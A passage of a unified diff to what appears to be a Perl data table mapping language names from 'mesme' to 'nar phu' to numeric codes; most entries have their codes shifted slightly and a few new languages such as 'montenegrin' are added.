@@ -42637,339 +42679,339 @@
       q(0),
       ],
    q(mesme) => [
-      q(7835),
+      q(7838),
       q(0),
       ],
    q(mesmes) => [
-      q(4680),
+      q(4681),
       q(0),
       ],
    q(mesopotamian arabic) => [
-      q(0591),
+      q(0592),
       q(0),
       ],
    q(mesqan) => [
-      q(4616),
+      q(4617),
       q(0),
       ],
    q(messapic) => [
-      q(1789),
+      q(1790),
       q(0),
       ],
    q(meta') => [
-      q(4255),
+      q(4256),
       q(0),
       ],
    q(metlatonoc mixtec) => [
-      q(4660),
+      q(4661),
       q(0),
       ],
    q(mewari) => [
-      q(4564),
+      q(4565),
       q(0),
       ],
    q(mewati) => [
-      q(7229),
+      q(7231),
       q(0),
       ],
    q(mexican sign language) => [
-      q(4234),
+      q(4235),
       q(0),
       ],
    q(meyah) => [
-      q(4201),
+      q(4202),
       q(0),
       ],
    q(mezontla popoloca) => [
-      q(5358),
+      q(5362),
       q(0),
       ],
    q(mezquital otomi) => [
-      q(5310),
+      q(5314),
       q(0),
       ],
    q(mfinu) => [
-      q(7863),
+      q(7866),
       q(0),
       ],
    q(mfumte) => [
-      q(4825),
+      q(4827),
       q(0),
       ],
    q(mgbolizhia) => [
-      q(2562),
+      q(2564),
       q(0),
       ],
    q(mi'kmaq) => [
-      q(0279),
+      q(0280),
       q(0),
       ],
    q(miahuatlan zapotec) => [
-      q(7799),
+      q(7802),
       q(0),
       ],
    q(miami) => [
-      q(4290),
+      q(4291),
       q(0),
       ],
    q(mian) => [
-      q(4466),
+      q(4467),
       q(0),
       ],
    q(miani) => [
-      q(5479),
+      q(5483),
       q(0),
       ],
    q(michif) => [
-      q(1843),
+      q(1844),
       q(0),
       ],
    q(michigamea) => [
-      q(1785),
+      q(1786),
       q(0),
       ],
    q(michoacan mazahua) => [
-      q(4384),
+      q(4385),
       q(0),
       ],
    q(michoacan nahuatl) => [
-      q(4764),
+      q(4765),
       q(0),
       ],
    q(micmac) => [
-      q(0279),
+      q(0280),
       q(1),
       ],
    q(mid grand valley dani) => [
-      q(2101),
+      q(2102),
       q(0),
       ],
    q(mid-southern banda) => [
-      q(1243),
+      q(1244),
       q(0),
       ],
    q(middle armenian) => [
-      q(0990),
+      q(0991),
       q(0),
       ],
    q(middle breton) => [
-      q(7285),
+      q(7287),
       q(0),
       ],
    q(middle cornish) => [
-      q(1804),
+      q(1805),
       q(0),
       ],
    q(middle dutch (ca. 1050-1350)) => [
-      q(0115),
+      q(0116),
       q(1),
       ],
    q(middle english (1100-1500)) => [
-      q(0124),
+      q(0125),
       q(1),
       ],
    q(middle french (ca. 1400-1600)) => [
-      q(0138),
+      q(0139),
       q(1),
       ],
    q(middle high german (ca. 1050-1500)) => [
-      q(0157),
+      q(0158),
       q(1),
       ],
    q(middle hittite) => [
-      q(2846),
+      q(2848),
       q(0),
       ],
    q(middle irish (900-1200)) => [
-      q(0278),
+      q(0279),
       q(1),
       ],
    q(middle korean (10th-16th cent.)) => [
-      q(5226),
+      q(5230),
       q(0),
       ],
    q(middle low german) => [
-      q(2555),
+      q(2557),
       q(0),
       ],
    q(middle mongolian) => [
-      q(7416),
+      q(7419),
       q(0),
       ],
    q(middle newar) => [
-      q(5131),
+      q(5135),
       q(0),
       ],
    q(middle watut) => [
-      q(4458),
+      q(4459),
       q(0),
       ],
    q(middle welsh) => [
-      q(7143),
+      q(7145),
       q(0),
       ],
    q(midob) => [
-      q(4200),
+      q(4201),
       q(0),
       ],
    q(migaama) => [
-      q(4405),
+      q(4406),
       q(0),
       ],
    q(migabac) => [
-      q(4462),
+      q(4463),
       q(0),
       ],
    q(migum) => [
-      q(3437),
+      q(3438),
       q(0),
       ],
    q(miji) => [
-      q(6051),
+      q(6052),
       q(1),
       ],
    q(miju-mishmi) => [
-      q(4648),
+      q(4649),
       q(0),
       ],
    q(mikasuki) => [
-      q(4299),
+      q(4300),
       q(0),
       ],
    q(mili) => [
-      q(7675),
+      q(7678),
       q(0),
       ],
    q(miltu) => [
-      q(4367),
+      q(4368),
       q(0),
       ],
    q(miluk) => [
-      q(2958),
+      q(2961),
       q(0),
       ],
    q(milyan) => [
-      q(2963),
+      q(2966),
       q(0),
       ],
    q(min bei chinese) => [
-      q(4419),
+      q(4420),
       q(0),
       ],
    q(min dong chinese) => [
-      q(1697),
+      q(1698),
       q(0),
       ],
    q(min nan chinese) => [
-      q(4721),
+      q(4722),
       q(0),
       ],
    q(min zhong chinese) => [
-      q(1929),
+      q(1930),
       q(0),
       ],
    q(mina (cameroon)) => [
-      q(2795),
+      q(2797),
       q(0),
       ],
    q(mina (india)) => [
-      q(4672),
+      q(4673),
       q(0),
       ],
    q(minaean) => [
-      q(2968),
+      q(2971),
       q(0),
       ],
    q(minang) => [
-      q(7462),
+      q(7465),
       q(0),
       ],
    q(minangkabau) => [
-      q(0280),
+      q(0281),
       q(0),
       ],
    q(minanibai) => [
-      q(4165),
+      q(4166),
       q(0),
       ],
    q(minaveha) => [
-      q(4604),
+      q(4605),
       q(0),
       ],
    q(minderico) => [
-      q(2128),
+      q(2129),
       q(0),
       ],
    q(mindiri) => [
-      q(4460),
+      q(4461),
       q(0),
       ],
    q(mingang doso) => [
-      q(4348),
+      q(4349),
       q(0),
       ],
    q(mingrelian) => [
-      q(7394),
+      q(7397),
       q(0),
       ],
    q(minica huitoto) => [
-      q(2843),
+      q(2845),
       q(0),
       ],
    q(minidien) => [
-      q(7117),
+      q(7119),
       q(0),
       ],
    q(minigir) => [
-      q(1570),
+      q(1571),
       q(1),
       ],
    q(minjungbal) => [
-      q(7350),
+      q(7353),
       q(0),
       ],
    q(minkin) => [
-      q(7544),
+      q(7547),
       q(0),
       ],
    q(minoan) => [
-      q(5250),
+      q(5254),
       q(0),
       ],
    q(minokok) => [
-      q(4488),
+      q(4489),
       q(0),
       ],
    q(minriq) => [
-      q(4420),
+      q(4421),
       q(0),
       ],
    q(mintil) => [
-      q(4704),
+      q(4705),
       q(0),
       ],
    q(minz zhuang) => [
-      q(7823),
+      q(7826),
       q(0),
       ],
    q(miqie) => [
-      q(7638),
+      q(7641),
       q(0),
       ],
    q(mirandese) => [
-      q(0294),
+      q(0295),
       q(0),
       ],
    q(miraya bikol) => [
-      q(5749),
+      q(5751),
       q(0),
       ],
    q(mirgan) => [
-      q(7924),
+      q(7927),
       q(0),
       ],
    q(miriti) => [
-      q(4402),
+      q(4403),
       q(0),
       ],
    q(miriwoong sign language) => [
@@ -42977,75 +43019,75 @@
       q(0),
       ],
    q(miriwung) => [
-      q(4206),
+      q(4207),
       q(0),
       ],
    q(miship) => [
-      q(4328),
+      q(4329),
       q(0),
       ],
    q(misima-panaeati) => [
-      q(4470),
+      q(4471),
       q(0),
       ],
    q(mising) => [
-      q(4504),
+      q(4505),
       q(0),
       ],
    q(miskito) => [
-      q(4304),
+      q(4305),
       q(0),
       ],
    q(mitla zapotec) => [
-      q(7807),
+      q(7810),
       q(0),
       ],
    q(mitlatongo mixtec) => [
-      q(7014),
+      q(7015),
       q(0),
       ],
    q(mittu) => [
-      q(4633),
+      q(4634),
       q(0),
       ],
    q(mituku) => [
-      q(7874),
+      q(7877),
       q(0),
       ],
    q(miu) => [
-      q(4461),
+      q(4462),
       q(0),
       ],
    q(miwa) => [
-      q(7010),
+      q(7011),
       q(0),
       ],
    q(mixed great andamanese) => [
-      q(2396),
+      q(2397),
       q(0),
       ],
    q(mixtepec mixtec) => [
-      q(4309),
+      q(4310),
       q(0),
       ],
    q(mixtepec zapotec) => [
-      q(7908),
+      q(7911),
       q(0),
       ],
    q(miya) => [
-      q(4340),
+      q(4341),
       q(0),
       ],
    q(miyako) => [
-      q(4600),
+      q(4601),
       q(0),
       ],
    q(miyobe) => [
-      q(6166),
+      q(6165),
       q(0),
       ],
    q(mlabri) => [
-      q(4498),
+      q(4499),
       q(0),
       ],
    q(mlahso) => [
@@ -43053,559 +43095,567 @@
       q(0),
       ],
    q(mlap) => [
-      q(3374),
+      q(3375),
       q(0),
       ],
    q(mlomp) => [
-      q(4372),
+      q(4373),
       q(0),
       ],
    q(mmaala) => [
-      q(4401),
+      q(4402),
       q(0),
       ],
    q(mmen) => [
-      q(1148),
+      q(1149),
       q(0),
       ],
    q(mo) => [
-      q(7131),
+      q(7133),
       q(1),
       ],
    q(mo'da) => [
-      q(2429),
+      q(2430),
       q(0),
       ],
    q(moabite) => [
-      q(5183),
+      q(5187),
       q(0),
       ],
    q(moba) => [
-      q(4232),
+      q(4233),
       q(0),
       ],
    q(mobilian) => [
-      q(4431),
+      q(4432),
       q(0),
       ],
    q(mobumrin aizi) => [
-      q(0684),
+      q(0685),
       q(0),
       ],
    q(mobwa karen) => [
-      q(3106),
+      q(3108),
       q(0),
       ],
    q(mocheno) => [
-      q(4278),
+      q(4279),
       q(0),
       ],
    q(mochi) => [
-      q(5235),
+      q(5239),
       q(0),
       ],
    q(mochica) => [
-      q(5245),
+      q(5249),
       q(0),
       ],
    q(mocho) => [
-      q(4268),
+      q(4269),
       q(0),
       ],
    q(mocovi) => [
-      q(4430),
+      q(4431),
       q(0),
       ],
    q(modang) => [
-      q(4642),
+      q(4643),
       q(0),
       ],
    q(modern greek (1453-)) => [
-      q(0164),
+      q(0165),
       q(2),
       ],
    q(modole) => [
-      q(4486),
+      q(4487),
       q(0),
       ],
    q(moere) => [
-      q(4607),
+      q(4608),
       q(0),
       ],
    q(mofu-gudur) => [
-      q(4294),
+      q(4295),
       q(0),
       ],
    q(mogholi) => [
-      q(4274),
+      q(4275),
       q(0),
       ],
    q(mogofin) => [
-      q(4222),
+      q(4223),
       q(0),
       ],
    q(mogum) => [
-      q(4442),
+      q(4443),
       q(0),
       ],
    q(mohave) => [
-      q(4443),
+      q(4444),
       q(0),
       ],
    q(mohawk) => [
-      q(0288),
+      q(0289),
       q(0),
       ],
    q(mohegan-pequot) => [
-      q(7450),
+      q(7453),
       q(0),
       ],
    q(moi (congo)) => [
-      q(4444),
+      q(4445),
       q(0),
       ],
    q(moi (indonesia)) => [
-      q(4652),
+      q(4653),
       q(0),
       ],
    q(moikodi) => [
-      q(4349),
+      q(4350),
       q(0),
       ],
    q(moingi) => [
-      q(4638),
+      q(4639),
       q(0),
       ],
    q(moji) => [
-      q(7676),
+      q(7679),
       q(0),
       ],
    q(mok) => [
-      q(4491),
+      q(4492),
       q(0),
       ],
    q(moken) => [
-      q(4632),
+      q(4633),
       q(0),
       ],
    q(mokerang) => [
-      q(4235),
+      q(4236),
       q(0),
       ],
    q(mokilese) => [
-      q(4343),
+      q(4344),
       q(0),
       ],
    q(moklen) => [
-      q(4346),
+      q(4347),
       q(0),
       ],
    q(mokole) => [
-      q(4345),
+      q(4346),
       q(0),
       ],
    q(mokpwe) => [
-      q(1428),
+      q(1429),
       q(0),
       ],
    q(moksela) => [
-      q(7018),
+      q(7019),
       q(0),
       ],
    q(moksha) => [
-      q(0275),
+      q(0276),
       q(0),
       ],
    q(molale) => [
-      q(4123),
+      q(4124),
       q(0),
       ],
    q(molbog) => [
-      q(5654),
+      q(5656),
       q(0),
       ],
    q(moldavian) => [
-      q(0360),
+      q(0361),
       q(1),
       ],
    q(moldova sign language) => [
-      q(7032),
+      q(7033),
       q(0),
       ],
    q(moldovan) => [
-      q(0360),
+      q(0361),
       q(2),
       ],
    q(molengue) => [
-      q(1567),
+      q(1568),
       q(0),
       ],
    q(molima) => [
-      q(4445),
+      q(4446),
       q(0),
       ],
    q(molmo one) => [
-      q(0944),
+      q(0945),
       q(0),
       ],
    q(molo) => [
-      q(7872),
+      q(7875),
       q(0),
       ],
    q(molof) => [
-      q(4533),
+      q(4534),
       q(0),
       ],
    q(moloko) => [
-      q(4379),
+      q(4380),
       q(0),
       ],
    q(mom jango) => [
-      q(6978),
+      q(6979),
       q(0),
       ],
    q(moma) => [
-      q(4675),
+      q(4676),
       q(0),
       ],
    q(momare) => [
-      q(4546),
+      q(4547),
       q(0),
       ],
    q(mombo dogon) => [
-      q(2076),
+      q(2077),
       q(0),
       ],
    q(mombum) => [
-      q(4536),
+      q(4537),
       q(0),
       ],
    q(momina) => [
-      q(4383),
+      q(4384),
       q(0),
       ],
    q(momuna) => [
-      q(4477),
+      q(4478),
       q(0),
       ],
    q(mon) => [
-      q(4425),
+      q(4426),
       q(0),
       ],
    q(mon-khmer languages) => [
-      q(0282),
+      q(0283),
       q(0),
       ],
    q(monastic sign language) => [
-      q(4691),
+      q(4692),
       q(0),
       ],
    q(monde) => [
-      q(4409),
+      q(4410),
       q(0),
       ],
    q(mondropolon) => [
-      q(5029),
+      q(5031),
       q(0),
       ],
    q(mong) => [
-      q(0179),
+      q(0180),
       q(1),
       ],
    q(mong leng) => [
-      q(2800),
+      q(2802),
       q(1),
       ],
    q(mong njua) => [
-      q(2800),
+      q(2802),
       q(2),
       ],
    q(mongo) => [
-      q(0252),
+      q(0253),
       q(0),
       ],
    q(mongol) => [
-      q(4260),
+      q(4261),
       q(0),
       ],
    q(mongolia buriat) => [
-      q(1577),
+      q(1578),
       q(0),
       ],
    q(mongolian) => [
-      q(0289),
+      q(0290),
       q(0),
       ],
    q(mongolian languages) => [
-      q(0531),
+      q(0532),
       q(0),
       ],
    q(mongolian sign language) => [
-      q(4539),
+      q(4540),
       q(0),
       ],
    q(mongondow) => [
-      q(4433),
+      q(4434),
       q(0),
       ],
    q(moni) => [
-      q(4428),
+      q(4429),
       q(0),
       ],
    q(mono (cameroon)) => [
-      q(4517),
+      q(4518),
       q(0),
       ],
    q(mono (democratic republic of congo)) => [
-      q(4413),
+      q(4414),
       q(0),
       ],
    q(mono (solomon islands)) => [
-      q(4551),
+      q(4552),
       q(0),
       ],
    q(mono (usa)) => [
-      q(4421),
+      q(4422),
       q(0),
       ],
    q(monom) => [
-      q(4438),
+      q(4439),
       q(0),
       ],
    q(monsang naga) => [
-      q(4960),
+      q(4962),
       q(0),
       ],
    q(montagnais) => [
-      q(4432),
+      q(4433),
       q(0),
       ],
+   q(montenegrin) => [
+      q(0090),
+      q(0),
+      ],
    q(montol) => [
-      q(4558),
+      q(4559),
       q(0),
       ],
    q(monumbo) => [
-      q(4649),
+      q(4650),
       q(0),
       ],
    q(monzombo) => [
-      q(4435),
+      q(4436),
       q(0),
       ],
    q(moo) => [
-      q(2680),
+      q(2682),
       q(0),
       ],
    q(moose cree) => [
-      q(1848),
+      q(1849),
       q(0),
       ],
    q(mopan maya) => [
-      q(4439),
+      q(4440),
       q(0),
       ],
    q(mor (bomberai peninsula)) => [
-      q(4440),
+      q(4441),
       q(0),
       ],
    q(mor (mor islands)) => [
-      q(4289),
+      q(4290),
       q(0),
       ],
    q(moraid) => [
-      q(4528),
+      q(4529),
       q(0),
       ],
    q(morawa) => [
-      q(4690),
+      q(4691),
       q(0),
       ],
    q(morelos nahuatl) => [
-      q(4861),
+      q(4863),
       q(0),
       ],
    q(morerebi) => [
-      q(7402),
+      q(7405),
       q(0),
       ],
    q(moresada) => [
-      q(4544),
+      q(4545),
       q(0),
       ],
    q(mori atas) => [
-      q(4701),
+      q(4702),
       q(0),
       ],
    q(mori bawah) => [
-      q(7413),
+      q(7416),
       q(0),
       ],
    q(morigi) => [
-      q(4171),
+      q(4172),
       q(0),
       ],
    q(morisyen) => [
-      q(4220),
+      q(4221),
       q(0),
       ],
    q(moro) => [
-      q(4441),
+      q(4442),
       q(0),
       ],
    q(moroccan arabic) => [
-      q(0883),
+      q(0884),
       q(0),
       ],
    q(moroccan sign language) => [
-      q(7406),
+      q(7409),
       q(0),
       ],
    q(morokodo) => [
-      q(4243),
+      q(4244),
       q(0),
       ],
    q(morom) => [
-      q(1103),
+      q(1104),
       q(0),
       ],
    q(moronene) => [
-      q(4485),
+      q(4486),
       q(0),
       ],
    q(morori) => [
-      q(4436),
+      q(4437),
       q(0),
       ],
    q(morouas) => [
-      q(4512),
+      q(4513),
       q(0),
       ],
    q(mortlockese) => [
-      q(4508),
+      q(4509),
       q(0),
       ],
    q(moru) => [
-      q(4244),
+      q(4245),
       q(0),
       ],
    q(mosimo) => [
-      q(4493),
+      q(4494),
       q(0),
       ],
    q(mosiro) => [
-      q(4637),
+      q(4638),
       q(0),
       ],
    q(moskona) => [
-      q(4556),
+      q(4557),
       q(0),
       ],
    q(mossi) => [
-      q(0290),
+      q(0291),
       q(0),
       ],
    q(mota) => [
-      q(4566),
+      q(4567),
       q(0),
       ],
    q(motlav) => [
-      q(4378),
+      q(4379),
       q(0),
       ],
    q(motu) => [
-      q(4211),
+      q(4212),
       q(0),
       ],
    q(mouk-aria) => [
-      q(4623),
+      q(4624),
       q(0),
       ],
    q(mountain koiali) => [
-      q(3540),
+      q(3541),
       q(0),
       ],
    q(mouwase) => [
-      q(3122),
+      q(3124),
       q(0),
       ],
    q(movima) => [
-      q(4700),
+      q(4701),
       q(0),
       ],
    q(moyadan itneg) => [
-      q(3019),
+      q(3022),
       q(0),
       ],
    q(moyon naga) => [
-      q(4967),
+      q(4969),
       q(0),
       ],
    q(mozambican sign language) => [
-      q(4709),
+      q(4710),
       q(0),
       ],
    q(mozarabic) => [
-      q(4647),
+      q(4648),
       q(0),
       ],
    q(mpade) => [
-      q(4455),
+      q(4456),
       q(0),
       ],
    q(mpalitjanh) => [
-      q(7444),
+      q(7447),
       q(0),
       ],
    q(mpi) => [
-      q(4472),
+      q(4473),
       q(0),
       ],
    q(mpiemo) => [
-      q(4167),
+      q(4168),
       q(0),
       ],
    q(mpoto) => [
-      q(4448),
+      q(4449),
       q(0),
       ],
    q(mpotovoro) => [
-      q(4610),
+      q(4611),
       q(0),
       ],
    q(mpumpong) => [
-      q(4247),
+      q(4248),
       q(0),
       ],
    q(mpuono) => [
-      q(7873),
+      q(7876),
       q(0),
       ],
    q(mpur) => [
-      q(0723),
+      q(0724),
       q(0),
       ],
    q(mro-khimi chin) => [
-      q(1788),
+      q(1789),
       q(0),
       ],
    q(mru) => [
-      q(4511),
+      q(4512),
       q(0),
       ],
    q(mser) => [
-      q(3566),
+      q(3567),
       q(0),
       ],
    q(mt. iraya agta) => [
-      q(0918),
+      q(0919),
       q(0),
       ],
    q(mt. iriga agta) => [
-      q(0676),
+      q(0677),
       q(0),
       ],
+   q(muak sa-aak) => [
+      q(6867),
+      q(0),
+      ],
    q(mualang) => [
-      q(4550),
+      q(4551),
       q(0),
       ],
    q(mubami) => [
@@ -43613,23 +43663,23 @@
       q(0),
       ],
    q(mubi) => [
-      q(4573),
+      q(4574),
       q(0),
       ],
    q(muda) => [
-      q(7672),
+      q(7675),
       q(0),
       ],
    q(mudburra) => [
-      q(2089),
+      q(2090),
       q(0),
       ],
    q(mudhili gadaba) => [
-      q(2414),
+      q(2415),
       q(0),
       ],
    q(mudu koraga) => [
-      q(7005),
+      q(7006),
       q(0),
       ],
    q(muduga) => [
@@ -43637,143 +43687,143 @@
       q(0),
       ],
    q(mufian) => [
-      q(0823),
+      q(0824),
       q(0),
       ],
    q(mugom) => [
-      q(4581),
+      q(4582),
       q(0),
       ],
    q(muinane) => [
-      q(1319),
+      q(1320),
       q(0),
       ],
    q(mukha-dora) => [
-      q(4392),
+      q(4393),
       q(0),
       ],
    q(mukulu) => [
-      q(4447),
+      q(4448),
       q(0),
       ],
    q(mulaha) => [
-      q(4238),
+      q(4239),
       q(0),
       ],
    q(mulam) => [
-      q(4370),
+      q(4371),
       q(0),
       ],
    q(mulao) => [
-      q(2522),
+      q(2524),
       q(0),
       ],
    q(mulgi) => [
-      q(4599),
+      q(4600),
       q(0),
       ],
    q(mullu kurumba) => [
-      q(3520),
+      q(3521),
       q(0),
       ],
    q(mullukmulluk) => [
-      q(4449),
+      q(4450),
       q(0),
       ],
    q(multiple languages) => [
-      q(0291),
+      q(0292),
       q(0),
       ],
    q(muluridyi) => [
-      q(7019),
+      q(7020),
       q(0),
       ],
    q(mum) => [
-      q(3543),
+      q(3544),
       q(0),
       ],
    q(mumuye) => [
-      q(4697),
+      q(4698),
       q(0),
       ],
    q(mun chin) => [
-      q(4630),
+      q(4631),
       q(0),
       ],
    q(muna) => [
-      q(4408),
+      q(4409),
       q(0),
       ],
    q(munda) => [
-      q(6906),
+      q(6907),
       q(0),
       ],
    q(munda languages) => [
-      q(0292),
+      q(0293),
       q(0),
       ],
    q(mundabli) => [
-      q(1353),
+      q(1354),
       q(0),
       ],
    q(mundang) => [
-      q(4572),
+      q(4573),
       q(0),
       ],
    q(mundani) => [
-      q(4411),
+      q(4412),
       q(0),
       ],
    q(mundari) => [
-      q(6904),
+      q(6905),
       q(0),
       ],
    q(mundat) => [
-      q(4387),
+      q(4388),
       q(0),
       ],
    q(mundu) => [
-      q(4578),
+      q(4579),
       q(0),
       ],
    q(munduruku) => [
-      q(4681),
+      q(4682),
       q(0),
       ],
    q(mungaka) => [
-      q(4275),
+      q(4276),
       q(0),
       ],
    q(mungbam) => [
-      q(4298),
+      q(4299),
       q(1),
       ],
    q(munggui) => [
-      q(4554),
+      q(4555),
       q(0),
       ],
    q(mungkip) => [
-      q(4468),
+      q(4469),
       q(0),
       ],
    q(muniche) => [
-      q(4679),
+      q(4680),
       q(0),
       ],
    q(munit) => [
-      q(4549),
+      q(4550),
       q(0),
       ],
    q(munji) => [
-      q(4414),
+      q(4415),
       q(0),
       ],
    q(munsee) => [
-      q(6897),
+      q(6898),
       q(0),
       ],
    q(muong) => [
-      q(4563),
+      q(4564),
       q(0),
       ],
    q(mur pano) => [
@@ -43781,51 +43831,51 @@
       q(0),
       ],
    q(muratayak) => [
-      q(0906),
+      q(0907),
       q(0),
       ],
    q(murik (malaysia)) => [
-      q(4656),
+      q(4657),
       q(0),
       ],
    q(murik (papua new guinea)) => [
-      q(4552),
+      q(4553),
       q(0),
       ],
    q(murkim) => [
-      q(5801),
+      q(5802),
       q(0),
       ],
    q(murle) => [
-      q(4586),
+      q(4587),
       q(0),
       ],
    q(murrinh-patha) => [
-      q(4621),
+      q(4622),
       q(0),
       ],
    q(mursi) => [
-      q(4592),
+      q(4593),
       q(0),
       ],
    q(murui huitoto) => [
-      q(2864),
+      q(2866),
       q(0),
       ],
    q(murupi) => [
-      q(4494),
+      q(4495),
       q(0),
       ],
    q(muruwari) => [
-      q(7878),
+      q(7881),
       q(0),
       ],
    q(musak) => [
-      q(4398),
+      q(4399),
       q(0),
       ],
    q(musar) => [
-      q(4390),
+      q(4391),
       q(0),
       ],
    q(musasa) => [
@@ -43833,23 +43883,23 @@
       q(0),
       ],
    q(musey) => [
-      q(4526),
+      q(4527),
       q(0),
       ],
    q(musgu) => [
-      q(4577),
+      q(4578),
       q(0),
       ],
    q(mushungulu) => [
-      q(7389),
+      q(7392),
       q(0),
       ],
    q(musi) => [
-      q(4579),
+      q(4580),
       q(0),
       ],
    q(muskum) => [
-      q(4315),
+      q(4316),
       q(0),
       ],
    q(muslim tat) => [
@@ -43857,15 +43907,15 @@
       q(0),
       ],
    q(musom) => [
-      q(4541),
+      q(4542),
       q(0),
       ],
    q(mussau-emira) => [
-      q(2249),
+      q(2250),
       q(0),
       ],
    q(muthuvan) => [
-      q(4589),
+      q(4590),
       q(0),
       ],
    q(mutu) => [
@@ -43873,383 +43923,383 @@
       q(0),
       ],
    q(muya) => [
-      q(4603),
+      q(4604),
       q(0),
       ],
    q(muyang) => [
-      q(4591),
+      q(4592),
       q(0),
       ],
    q(muyuw) => [
-      q(4682),
+      q(4683),
       q(0),
       ],
    q(muzi) => [
-      q(7687),
+      q(7690),
       q(0),
       ],
    q(mvanip) => [
-      q(4153),
+      q(4154),
       q(0),
       ],
    q(mvuba) => [
-      q(4646),
+      q(4647),
       q(0),
       ],
    q(mwaghavul) => [
-      q(6275),
+      q(6274),
       q(0),
       ],
    q(mwali comorian) => [
-      q(7137),
+      q(7139),
       q(0),
       ],
    q(mwan) => [
-      q(4429),
+      q(4430),
       q(0),
       ],
    q(mwani) => [
-      q(7164),
+      q(7166),
       q(0),
       ],
    q(mwatebu) => [
-      q(4617),
+      q(4618),
       q(0),
       ],
    q(mwera (chimwera)) => [
-      q(4620),
+      q(4621),
       q(0),
       ],
    q(mwera (nyasa)) => [
-      q(4317),
+      q(4318),
       q(0),
       ],
    q(mwerlap) => [
-      q(4509),
+      q(4510),
       q(1),
       ],
    q(mwimbi-muthambi) => [
-      q(4631),
+      q(4632),
       q(0),
       ],
    q(mwotlap) => [
-      q(4378),
+      q(4379),
       q(1),
       ],
    q(mycenaean greek) => [
-      q(2561),
+      q(2563),
       q(0),
       ],
    q(myene) => [
-      q(4668),
+      q(4669),
       q(0),
       ],
    q(mysian) => [
-      q(7685),
+      q(7688),
       q(0),
       ],
    q(mzieme naga) => [
-      q(4957),
+      q(4959),
       q(0),
       ],
    q(n'ko) => [
-      q(0317),
+      q(0318),
       q(0),
       ],
    q(n/u) => [
-      q(4832),
+      q(4834),
       q(0),
       ],
    q(na) => [
-      q(4748),
+      q(4749),
       q(0),
       ],
    q(na-dene languages) => [
-      q(0532),
+      q(0533),
       q(0),
       ],
    q(na-meo) => [
-      q(4811),
+      q(4813),
       q(0),
       ],
    q(naaba) => [
-      q(4722),
+      q(4723),
       q(0),
       ],
    q(naami) => [
-      q(1632),
+      q(1633),
       q(0),
       ],
    q(naasioi) => [
-      q(4725),
+      q(4726),
       q(0),
       ],
    q(naba) => [
-      q(4410),
+      q(4411),
       q(0),
       ],
    q(nabak) => [
-      q(4715),
+      q(4716),
       q(0),
       ],
    q(nabi) => [
-      q(4571),
+      q(4572),
       q(0),
       ],
    q(nachering) => [
-      q(4756),
+      q(4757),
       q(0),
       ],
    q(nadeb) => [
-      q(4127),
+      q(4128),
       q(0),
       ],
    q(nadruvian) => [
-      q(4779),
+      q(4781),
       q(0),
       ],
    q(nafaanra) => [
-      q(4824),
+      q(4826),
       q(0),
       ],
    q(nafi) => [
-      q(6203),
+      q(6202),
       q(0),
       ],
    q(nafri) => [
-      q(5146),
+      q(5150),
       q(0),
       ],
    q(nafusi) => [
-      q(3060),
+      q(3063),
       q(0),
       ],
    q(naga pidgin) => [
-      q(4716),
+      q(4717),
       q(0),
       ],
    q(nagarchal) => [
-      q(4736),
+      q(4737),
       q(0),
       ],
    q(nage) => [
-      q(5135),
+      q(5139),
       q(0),
       ],
    q(nagumi) => [
-      q(4846),
+      q(4848),
       q(0),
       ],
    q(naha'ai) => [
-      q(4380),
+      q(4381),
       q(1),
       ],
    q(nahali) => [
-      q(4950),
+      q(4952),
       q(0),
       ],
    q(nahari) => [
-      q(4858),
+      q(4860),
       q(0),
       ],
    q(nahavaq) => [
-      q(6140),
+      q(6139),
       q(1),
       ],
    q(nahuatl languages) => [
-      q(0298),
+      q(0299),
       q(0),
       ],
    q(nai) => [
-      q(1219),
+      q(1220),
       q(0),
       ],
    q(najdi arabic) => [
-      q(0879),
+      q(0880),
       q(0),
       ],
    q(naka'ela) => [
-      q(4714),
+      q(4715),
       q(0),
       ],
    q(nakai) => [
-      q(4922),
+      q(4924),
       q(0),
       ],
    q(nakame) => [
-      q(4874),
+      q(4876),
       q(0),
       ],
    q(nakanai) => [
-      q(4718),
+      q(4719),
       q(0),
       ],
    q(nakara) => [
-      q(4763),
+      q(4764),
       q(0),
       ],
    q(nake) => [
-      q(4740),
+      q(4741),
       q(0),
       ],
    q(naki) => [
-      q(4221),
+      q(4222),
       q(0),
       ],
    q(nakwi) => [
-      q(4728),
+      q(4729),
       q(0),
       ],
    q(nalca) => [
-      q(4938),
+      q(4940),
       q(0),
       ],
    q(nali) => [
-      q(5072),
+      q(5076),
       q(0),
       ],
    q(nalik) => [
-      q(4719),
+      q(4720),
       q(0),
       ],
    q(nalogo) => [
-      q(4952),
+      q(4954),
       q(0),
       ],
    q(nalu) => [
-      q(4717),
+      q(4718),
       q(0),
       ],
    q(naluo yi) => [
-      q(7666),
+      q(7669),
       q(0),
       ],
    q(nama (namibia)) => [
-      q(4723),
+      q(4724),
       q(1),
       ],
    q(nama (papua new guinea)) => [
-      q(4976),
+      q(4978),
       q(0),
       ],
    q(namakura) => [
-      q(4963),
+      q(4965),
       q(0),
       ],
    q(namat) => [
-      q(4924),
+      q(4926),
       q(0),
       ],
    q(nambo) => [
-      q(4765),
+      q(4766),
       q(0),
       ],
    q(nambya) => [
-      q(4969),
+      q(4971),
       q(0),
       ],
    q(namia) => [
-      q(4991),
+      q(4993),
       q(0),
       ],
    q(namiae) => [
-      q(5121),
+      q(5125),
       q(0),
       ],
    q(namibian sign language) => [
-      q(4747),
+      q(4748),
       q(0),
       ],
    q(namla) => [
-      q(4711),
+      q(4712),
       q(0),
       ],
    q(namo) => [
-      q(4661),
+      q(4662),
       q(0),
       ],
    q(namonuito) => [
-      q(4972),
+      q(4974),
       q(0),
       ],
    q(namosi-naitasiri-serua) => [
-      q(1541),
+      q(1542),
       q(0),
       ],
    q(namuyi) => [
-      q(4977),
+      q(4979),
       q(0),
       ],
    q(nanai) => [
-      q(2540),
+      q(2542),
       q(0),
       ],
    q(nancere) => [
-      q(4981),
+      q(4983),
       q(0),
       ],
    q(nande) => [
-      q(4980),
+      q(4982),
       q(0),
       ],
    q(nandi) => [
-      q(4887),
+      q(4889),
       q(0),
       ],
    q(nanerige senoufo) => [
-      q(5964),
+      q(5965),
       q(0),
       ],
    q(nanga dama dogon) => [
-      q(5175),
+      q(5179),
       q(0),
       ],
    q(nankina) => [
-      q(4989),
+      q(4991),
       q(0),
       ],
    q(nanti) => [
-      q(1824),
+      q(1825),
       q(0),
       ],
    q(nanticoke) => [
-      q(4997),
+      q(4999),
       q(0),
       ],
    q(nanubae) => [
-      q(0644),
+      q(0645),
       q(0),
       ],
    q(napo lowland quechua) => [
-      q(5698),
+      q(5700),
       q(0),
       ],
    q(napu) => [
-      q(5033),
+      q(5036),
       q(0),
       ],
    q(nar phu) => [
-      q(5023),
